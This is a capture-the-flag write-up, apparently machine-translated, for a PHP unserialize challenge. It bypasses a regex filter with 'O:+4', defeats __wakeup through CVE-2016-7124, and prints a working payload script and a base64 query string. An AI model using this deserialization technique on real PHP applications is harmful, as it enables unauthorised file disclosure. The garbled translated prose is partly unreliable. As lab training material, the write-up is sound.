Attack and defensive world web master area web_php_unserialize
php manual
W3School’s PHP Reference Manual
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
Since I do n’t understand PHP, according to other language experience & php manual guesses the meaning of the code, if there are errors, please ask the masters to correct
first see the comment first//the secret is in the fl4g.php
, Guess 1: FLAG in FL4G.php, so current target 1: access FL4G.php
Re -see the code
First of allDemo
, there are three functions in it
__construct(): When the object is created (new) Version automatically calls. Transmitted$fileAssign value to local private methods$file
unserialize()will not be called automatically. (Constructor)__destruct(): The object is automatically called when the object is destroyed. (Device function)__wakeup():unserialize()will automatically call
UnSerialize () & __ Wakeup () Reference
serialization
class User {
public $name;
private $male;
protected $money = 1000;
public function __construct($data, $male) {
$this->data = $data;
$this->male = $male;
}
}
$number = 66;
$str = 'jerry';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$user = new User('tom', true);
var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($user));
Run results
string(5) "i:66;"
string(12) "s:5:"jerry";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(93) "O:4:"User":4:{s:4:"name";N;s:10:"Usermale";b:1;s:8:"*money";i:1000;s:4:"data";s:3:"tom";}"
You need to use the GET method to be passed into VAR, otherwise it will be highly lit with index.php file source code
if (isset($_GET['var'])) {
} else {
// The source code of highlight index.php, the effect is as the current state
highlight_file("index.php");
}
Then perform BASE64 decoding on the passing VAR variable
$var = base64_decode($_GET['var']);
Decoding regularly matching, if the matching is over, it will end directly (DIE) and display Stop Hacking! Otherwise
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
have been analyzed above, so mainly need to solve two problems
preg_match(’/[oc]:\d+:/i’, $var)
bypassed- unSerialize
First try serialization directly
```php
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$file = 'fl4g.php';
$demo = new Demo($file);
$s = serialize($demo);
print_r($s);
echo("<br>");
print_r(base64_encode($s));
?>
Obvious failure
Solving the problem first 1:preg_match(’/[oc]:\d+:/i’, $var)
bypassed
Big Blog Statue seems to be regular expression matching websiteConfirm the matching characters
This preg_match () match is O or C: any length number (at least one) /i indicates not to distinguish the case when matching
The characteristics of PHP here +4 actually equal to 4
Re -solve the problem 2: UNSerialize
__wakeup () magic method bypass, using CVE-2016-7124
In the previous results, o: 4: “demo”: 1: {s: 10: “demofile”; s: 8: “fl4g.php”;}:1:
means that there is a attribute in this object
__wakeup vulnerability is related to the entire attribute value. When the serialized string represents the value of the number of object properties than the real number of the real number, the execution of __wakeup.
Last serialization result
O:+4:"Demo":2:{
s:10:"Demofile";s:8:"fl4g.php";}
Base64, but this is wrong. After the File attribute of the DEMO class is the serialization of the private attribute, it will be blocked by %before and after the class name, so you must replace the replacement and base64 in PHP.
Final Payload
<?php
class Demo
{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
echo @highlight_file($this->file, true);
}
function __wakeup()
{
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$file = 'fl4g.php';
$d = new Demo($file);
$s = serialize($d);
// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$s = str_replace(':1:', ':2:', $s);
$s = str_replace('O:4', 'O:+4', $s);
print_r($s);
print_r("<br>");
print_r(base64_encode($s));
Because it is a GET method, the browser is input
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
Reference to the blog of several big brothers
https://www.cnblogs.com/Jleixin/p/12988831.html
https://moreant.github.io/post/60542.html